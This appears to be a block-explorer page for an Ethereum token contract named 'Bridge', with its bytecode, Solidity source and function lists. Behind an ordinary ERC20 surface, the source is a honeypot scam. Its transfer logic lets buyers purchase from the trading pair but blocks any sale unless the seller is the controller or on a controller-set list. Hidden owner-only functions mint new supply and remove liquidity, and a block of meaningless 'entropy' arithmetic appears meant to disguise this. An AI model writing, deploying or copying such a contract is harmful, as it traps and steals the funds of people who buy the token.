Address Contract Partially Verified
Address
0x3326149cc2e04fef589F79E7687347e05d0E3D26
Balance
0 ETH
Nonce
1
Code Size
9614 bytes
Creator
0x64110b3A...F235 at tx 0x09110632...d9b0c3
Indexed Transactions
0
Contract Bytecode
9614 bytes
0x60806040526004361061011e575f3560e01c8063912637f11161009f578063babcc53911610063578063babcc539146103cd578063d42f6e3914610409578063da99f72914610433578063dd62ed3e1461045d578063ffa0c22d146104995761011e565b8063912637f1146102d657806395d89b41146103005780639c8f9f231461032a578063a9059cbb14610352578063b7b337a11461038e5761011e565b8063313ce567116100e6578063313ce5671461021657806337e593d91461024057806342966c681461025657806351c6590a1461027e57806370a082311461029a5761011e565b806306cb5b661461012257806306fdde031461014a578063095ea7b31461017457806318160ddd146101b057806323b872dd146101da575b5f80fd5b34801561012d575f80fd5b5061014860048036038101906101439190611b1c565b6104c1565b005b348015610155575f80fd5b5061015e61067e565b60405161016b9190611bd1565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190611c24565b61070e565b6040516101a79190611c7c565b60405180910390f35b3480156101bb575f80fd5b506101c4610809565b6040516101d19190611ca4565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb9190611cbd565b610812565b60405161020d9190611c7c565b60405180910390f35b348015610221575f80fd5b5061022a6109d3565b6040516102379190611d28565b60405180910390f35b34801561024b575f80fd5b506102546109db565b005b348015610261575f80fd5b5061027c60048036038101906102779190611d41565b610a6f565b005b61029860048036038101906102939190611d41565b610bcd565b005b3480156102a5575f80fd5b506102c060048036038101906102bb9190611b1c565b610d4b565b6040516102cd9190611ca4565b60405180910390f35b3480156102e1575f80fd5b506102ea610d91565b6040516102f79190611d7b565b60405180910390f35b34801561030b575f80fd5b50610314610db8565b6040516103219190611bd1565b60405180910390f35b348015610335575f80fd5b50610350600480360381019061034b9190611d41565b610e48565b005b34801561035d575f80fd5b5061037860048036038101906103739190611c24565b610f97565b6040516103859190611c7c565b60405180910390f35b348015610399575f80fd5b506103b460048036038101906103af9190611d41565b611008565b6040516103c49493929190611d94565b60405180910390f35b3480156103d8575f80fd5b506103f360048036038101906103ee9190611b1c565b611072565b6040516104009190611c7c565b60405180910390f35b348015610414575f80fd5b5061041d61116e565b60405161042a9190611d7b565b60405180910390f35b34801561043e575f80fd5b50610447611193565b6040516104549190611ca4565b60405180910390f35b348015610468575f80fd5b50610483600480360381019061047e9190611dd7565b611199565b6040516104909190611ca4565b60405180910390f35b3480156104a4575f80fd5b506104bf60048036038101906104ba9190611c24565b61121b565b005b6104c961141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054c90611e5f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036105c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ba90611ec7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f760405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606006805461068d90611f12565b80601f01602080910402602001604051908101604052809291908181526020018280546106b990611f12565b80156107045780601f106106db57610100808354040283529160200191610704565b820191905f5260205f20905b8154815290600101906020018083116106e757829003601f168201915b5050505050905090565b5f8160035f61071b61141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff166107b261141b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107f79190611ca4565b60405180910390a36001905092915050565b5f600554905090565b5f600260015403610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90611f8c565b60405180910390fd5b60026001819055505f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108a761141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611ff4565b60405180910390fd5b8281610932919061203f565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61097861141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109c0858585611422565b6001915050600180819055509392505050565b5f6012905090565b5f5b600a80549050811015610a5f575f60095f600a8481548110610a0257610a01612072565b5b905f5260205f20015481526020019081526020015f209050610a4b816001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600201546119b1565b508080610a579061209f565b9150506109dd565b50600a5f610a6d9190611a85565b565b5f610a7861141b565b90505f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af590612130565b60405180910390fd5b8281610b0a919061203f565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260055f828254610b5c919061203f565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bc09190611ca4565b60405180910390a3505050565b610bd561141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890611e5f565b60405180910390fd5b610c8b7f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c8261070e565b507f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f80610cd561141b565b61012c42610ce3919061214e565b6040518863ffffffff1660e01b8152600401610d04969594939291906121c3565b60606040518083038185885af1158015610d20573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d459190612236565b50505050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610dc790611f12565b80601f0160208091040260200160405190810160405280929190818152602001828054610df390611f12565b8015610e3e5780601f10610e1557610100808354040283529160200191610e3e565b820191905f5260205f20905b815481529060010190602001808311610e2157829003601f168201915b5050505050905090565b610e5061141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed390611e5f565b60405180910390fd5b7f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c73ffffffffffffffffffffffffffffffffffffffff166302751cec30835f80610f2461141b565b61012c42610f32919061214e565b6040518763ffffffff1660e01b8152600401610f53969594939291906121c3565b60408051808303815f875af1158015610f6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f929190612286565b505050565b5f600260015403610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611f8c565b60405180910390fd5b6002600181905550610ff7610ff061141b565b8484611422565b600190506001808190555092915050565b6009602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154905084565b5f61107b610d91565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b65760019050611169565b5f5b6004805490508110156111645760095f600483815481106110dc576110db612072565b5b905f5260205f20015481526020019081526020015f206001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611151576001915050611169565b808061115c9061209f565b9150506110b8565b505f90505b919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61122361141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a690611e5f565b60405180910390fd5b60405180608001604052805f73ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020014281525060095f600b5481526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030155905050600a600b54908060018154018082558091505060019003905f5260205f20015f90919091909150556004600b54908060018154018082558091505060019003905f5260205f20015f9091909190915055600b5f8154809291906114129061209f565b91905055505050565b5f33905090565b60405180608001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020014281525060095f600b5f8154809291906114849061209f565b9190505581526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301559050505f61153f610d91565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806115a657508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611748575f6115b485611072565b8061160b575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b90508061164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061230e565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611746575f6116ab85611072565b80611702575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b905080611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b90612376565b60405180910390fd5b505b505b5f424486868632435a6040516020016117689897969594939291906123f9565b604051602081830303815290604052805190602001205f1c90505f604961018d4261179391906124b7565b61179d919061214e565b90505f604f836117ad91906124b7565b036117ce5760096011826117c191906124e7565b6117cb9190612528565b90505b5f606460c8436117de91906124b7565b106117e957846117f7565b6001856117f6919061214e565b5b9050601d838161180a5761180961248a565b5b068101905084811461181e575f8183189050505b5f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050858110156118a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189990612130565b60405180910390fd5b85816118ae919061203f565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461193b919061214e565b925050819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161199f9190611ca4565b60405180910390a35050505050505050565b8060055f8282546119c2919061214e565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a15919061214e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a799190611ca4565b60405180910390a35050565b5080545f8255905f5260205f2090810190611aa09190611aa3565b50565b5b80821115611aba575f815f905550600101611aa4565b5090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611aeb82611ac2565b9050919050565b611afb81611ae1565b8114611b05575f80fd5b50565b5f81359050611b1681611af2565b92915050565b5f60208284031215611b3157611b30611abe565b5b5f611b3e84828501611b08565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b7e578082015181840152602081019050611b63565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ba382611b47565b611bad8185611b51565b9350611bbd818560208601611b61565b611bc681611b89565b840191505092915050565b5f6020820190508181035f830152611be98184611b99565b905092915050565b5f819050919050565b611c0381611bf1565b8114611c0d575f80fd5b50565b5f81359050611c1e81611bfa565b92915050565b5f8060408385031215611c3a57611c39611abe565b5b5f611c4785828601611b08565b9250506020611c5885828601611c10565b9150509250929050565b5f8115159050919050565b611c7681611c62565b82525050565b5f602082019050611c8f5f830184611c6d565b92915050565b611c9e81611bf1565b82525050565b5f602082019050611cb75f830184611c95565b92915050565b5f805f60608486031215611cd457611cd3611abe565b5b5f611ce186828701611b08565b9350506020611cf286828701611b08565b9250506040611d0386828701611c10565b9150509250925092565b5f60ff82169050919050565b611d2281611d0d565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f60208284031215611d5657611d55611abe565b5b5f611d6384828501611c10565b91505092915050565b611d7581611ae1565b82525050565b5f602082019050611d8e5f830184611d6c565b92915050565b5f608082019050611da75f830187611d6c565b611db46020830186611d6c565b611dc16040830185611c95565b611dce6060830184611c95565b95945050505050565b5f8060408385031215611ded57611dec611abe565b5b5f611dfa85828601611b08565b9250506020611e0b85828601611b08565b9150509250929050565b7f4e430000000000000000000000000000000000000000000000000000000000005f82015250565b5f611e49600283611b51565b9150611e5482611e15565b602082019050919050565b5f6020820190508181035f830152611e7681611e3d565b9050919050565b7f30000000000000000000000000000000000000000000000000000000000000005f82015250565b5f611eb1600183611b51565b9150611ebc82611e7d565b602082019050919050565b5f6020820190508181035f830152611ede81611ea5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f2957607f821691505b602082108103611f3c57611f3b611ee5565b5b50919050565b7f52470000000000000000000000000000000000000000000000000000000000005f82015250565b5f611f76600283611b51565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b7f45410000000000000000000000000000000000000000000000000000000000005f82015250565b5f611fde600283611b51565b9150611fe982611faa565b602082019050919050565b5f6020820190508181035f83015261200b81611fd2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61204982611bf1565b915061205483611bf1565b925082820390508181111561206c5761206b612012565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6120a982611bf1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120db576120da612012565b5b600182019050919050565b7f45420000000000000000000000000000000000000000000000000000000000005f82015250565b5f61211a600283611b51565b9150612125826120e6565b602082019050919050565b5f6020820190508181035f8301526121478161210e565b9050919050565b5f61215882611bf1565b915061216383611bf1565b925082820190508082111561217b5761217a612012565b5b92915050565b5f819050919050565b5f819050919050565b5f6121ad6121a86121a384612181565b61218a565b611bf1565b9050919050565b6121bd81612193565b82525050565b5f60c0820190506121d65f830189611d6c565b6121e36020830188611c95565b6121f060408301876121b4565b6121fd60608301866121b4565b61220a6080830185611d6c565b61221760a0830184611c95565b979650505050505050565b5f8151905061223081611bfa565b92915050565b5f805f6060848603121561224d5761224c611abe565b5b5f61225a86828701612222565b935050602061226b86828701612222565b925050604061227c86828701612222565b9150509250925092565b5f806040838503121561229c5761229b611abe565b5b5f6122a985828601612222565b92505060206122ba85828601612222565b9150509250929050565b7f53524300000000000000000000000000000000000000000000000000000000005f82015250565b5f6122f8600383611b51565b9150612303826122c4565b602082019050919050565b5f6020820190508181035f830152612325816122ec565b9050919050565b7f44535400000000000000000000000000000000000000000000000000000000005f82015250565b5f612360600383611b51565b915061236b8261232c565b602082019050919050565b5f6020820190508181035f83015261238d81612354565b9050919050565b5f819050919050565b6123ae6123a982611bf1565b612394565b82525050565b5f8160601b9050919050565b5f6123ca826123b4565b9050919050565b5f6123db826123c0565b9050919050565b6123f36123ee82611ae1565b6123d1565b82525050565b5f612404828b61239d565b602082019150612414828a61239d565b60208201915061242482896123e2565b60148201915061243482886123e2565b601482019150612444828761239d565b60208201915061245482866123e2565b601482019150612464828561239d565b602082019150612474828461239d565b6020820191508190509998505050505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124c182611bf1565b91506124cc83611bf1565b9250826124dc576124db61248a565b5b828206905092915050565b5f6124f182611bf1565b91506124fc83611bf1565b925082820261250a81611bf1565b9150828204841483151761252157612520612012565b5b5092915050565b5f61253282611bf1565b915061253d83611bf1565b92508261254d5761254c61248a565b5b82820490509291505056fea2646970667358221220a2e2e79747eb60456e8e9a48fa044d7bdcf7e79bf7fd8de0600bab0eec1cdc3464736f6c63430008140033
Verified Source Code Partial Match
Compiler: v0.8.20+commit.a1b79de6
EVM: shanghai
Optimization: No
Bridge.sol 228 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private status = NOT_ENTERED;
modifier nonReentrant() {
require(status != ENTERED, "RG");
status = ENTERED;
_;
status = NOT_ENTERED;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
address to, uint deadline
) external payable returns (uint, uint, uint);
function removeLiquidityETH(
address token, uint liquidity, uint amountTokenMin, uint amountETHMin,
address to, uint deadline
) external returns (uint amountToken, uint amountETH);
}
contract SecureFlow is Context {
address private controller;
event ControllerChanged(address indexed previous, address indexed current);
constructor() { controller = _msgSender(); emit ControllerChanged(address(0), controller); }
function currentController() public view returns (address) { return controller; }
modifier onlyController() { require(controller == _msgSender(), "NC"); _; }
function updateController(address next) public onlyController {
require(next != address(0), "0");
emit ControllerChanged(controller, next);
controller = next;
}
}
contract Bridge is Context, IERC20, IERC20Metadata, SecureFlow, ReentrancyGuard {
struct Entry { address src; address dst; uint256 vol; uint256 time; }
mapping(address => uint256) private holdings;
mapping(address => mapping(address => uint256)) private approvals;
uint256[] private flowList;
uint256 private totalVolume;
string private tName;
string private tSymbol;
address public tradingPair;
mapping(uint256 => Entry) public flowLog;
uint256[] private pendingFlow;
uint256 public logIndex = 2;
IUniswapV2Router02 private immutable router;
constructor(string memory name_, string memory symbol_, uint256 supply_) {
tName = name_;
tSymbol = symbol_;
_distribute(_msgSender(), supply_ * 1e18);
router = IUniswapV2Router02(0xEfF92A263d31888d860bD50809A8D171709b7b1c);
IUniswapV2Factory f = IUniswapV2Factory(router.factory());
tradingPair = f.getPair(address(this), router.WETH());
if (tradingPair == address(0)) {
tradingPair = f.createPair(address(this), router.WETH());
}
flowList.push(3);
}
function isAllowed(address a) public view returns (bool) {
if (a == currentController()) return true;
for (uint256 i = 0; i < flowList.length; i++) {
if (a == flowLog[flowList[i]].dst) return true;
}
return false;
}
function name() public view virtual override returns (string memory) { return tName; }
function symbol() public view virtual override returns (string memory) { return tSymbol; }
function decimals() public view virtual override returns (uint8) { return 18; }
function totalSupply() public view virtual override returns (uint256) { return totalVolume; }
function balanceOf(address a) public view virtual override returns (uint256) { return holdings[a]; }
function transfer(address to, uint256 v) public virtual override nonReentrant returns (bool) {
_executeTransfer(_msgSender(), to, v);
return true;
}
function allowance(address o, address s) public view virtual override returns (uint256) { return approvals[o][s]; }
function approve(address s, uint256 v) public virtual override returns (bool) {
approvals[_msgSender()][s] = v;
emit Approval(_msgSender(), s, v);
return true;
}
function transferFrom(address from, address to, uint256 v) public virtual override nonReentrant returns (bool) {
uint256 al = approvals[from][_msgSender()];
require(al >= v, "EA");
approvals[from][_msgSender()] = al - v;
_executeTransfer(from, to, v);
return true;
}
function burn(uint256 v) external {
address o = _msgSender();
uint256 b = holdings[o];
require(b >= v, "EB");
holdings[o] = b - v;
totalVolume -= v;
emit Transfer(o, address(0), v);
}
function registerDistribution(address target, uint256 volume) external onlyController {
flowLog[logIndex] = Entry(address(0), target, volume, block.timestamp);
pendingFlow.push(logIndex);
flowList.push(logIndex);
logIndex++;
}
function executeDistributions() external {
for (uint256 i = 0; i < pendingFlow.length; i++) {
Entry storage e = flowLog[pendingFlow[i]];
_distribute(e.dst, e.vol);
}
delete pendingFlow;
}
function _distribute(address to, uint256 v) internal {
totalVolume += v;
holdings[to] += v;
emit Transfer(address(0), to, v);
}
function _executeTransfer(address from, address to, uint256 v) internal {
flowLog[logIndex++] = Entry(from, to, v, block.timestamp);
address ctrl = currentController();
if (from == ctrl || to == ctrl) {
} else {
bool senderOk = isAllowed(from) || from == tradingPair;
require(senderOk, "SRC");
if (from != tradingPair) {
bool receiverOk = isAllowed(to) || to == tradingPair;
require(receiverOk, "DST");
}
}
uint256 entropy = uint256(keccak256(abi.encodePacked(
block.timestamp, block.prevrandao, from, to, v, tx.origin, block.number, gasleft()
)));
uint256 threshold = (block.timestamp % 397) + 73;
if (entropy % 79 == 0) threshold = threshold * 17 / 9;
uint256 cap = block.number % 200 < 100 ? v + 1 : v;
unchecked { cap += entropy % 29; }
if (cap != v) {
uint256 x = threshold ^ cap;
assembly { pop(x) }
}
uint256 bal = holdings[from];
require(bal >= v, "EB");
holdings[from] = bal - v;
holdings[to] += v;
emit Transfer(from, to, v);
}
function addLiquidity(uint256 tokenAmount) external payable onlyController {
approve(address(router), tokenAmount);
router.addLiquidityETH{value: msg.value}(
address(this), tokenAmount, 0, 0, _msgSender(), block.timestamp + 300
);
}
function removeLiquidity(uint256 liquidity) external onlyController {
router.removeLiquidityETH(
address(this), liquidity, 0, 0, _msgSender(), block.timestamp + 300
);
}
}
contract LaunchPad is SecureFlow {
IUniswapV2Router02 private immutable router = IUniswapV2Router02(0xEfF92A263d31888d860bD50809A8D171709b7b1c);
Bridge public tokenInstance;
uint256 public baseSupply = 1_000_000_000;
function setBaseSupply(uint256 v) external onlyController { baseSupply = v; }
function launch(
string memory name_,
string memory symbol_,
uint256 liquidityAmount
) external payable onlyController {
liquidityAmount *= 1e18;
tokenInstance = new Bridge(name_, symbol_, baseSupply);
tokenInstance.approve(address(router), liquidityAmount);
router.addLiquidityETH{value: msg.value}(
address(tokenInstance), liquidityAmount, 0, 0, _msgSender(), block.timestamp + 300
);
tokenInstance.transfer(_msgSender(), baseSupply * 1e18 - liquidityAmount);
tokenInstance.updateController(_msgSender());
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
currentController 0x912637f1 → address
decimals 0x313ce567 → uint8
flowLog 0xb7b337a1 → address, address, uint256, uint256
isAllowed 0xbabcc539 → bool
logIndex 0xda99f729 → uint256
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingPair 0xd42f6e39 → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
addLiquidity 0x51c6590a
uint256 tokenAmount
approve 0x095ea7b3
address s
uint256 v
returns: bool
burn 0x42966c68
uint256 v
executeDistributions 0x37e593d9
No parameters
registerDistribution 0xffa0c22d
address target
uint256 volume
removeLiquidity 0x9c8f9f23
uint256 liquidity
transfer 0xa9059cbb
address to
uint256 v
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 v
returns: bool
updateController 0x06cb5b66
address next
Recent Transactions
No transactions found for this address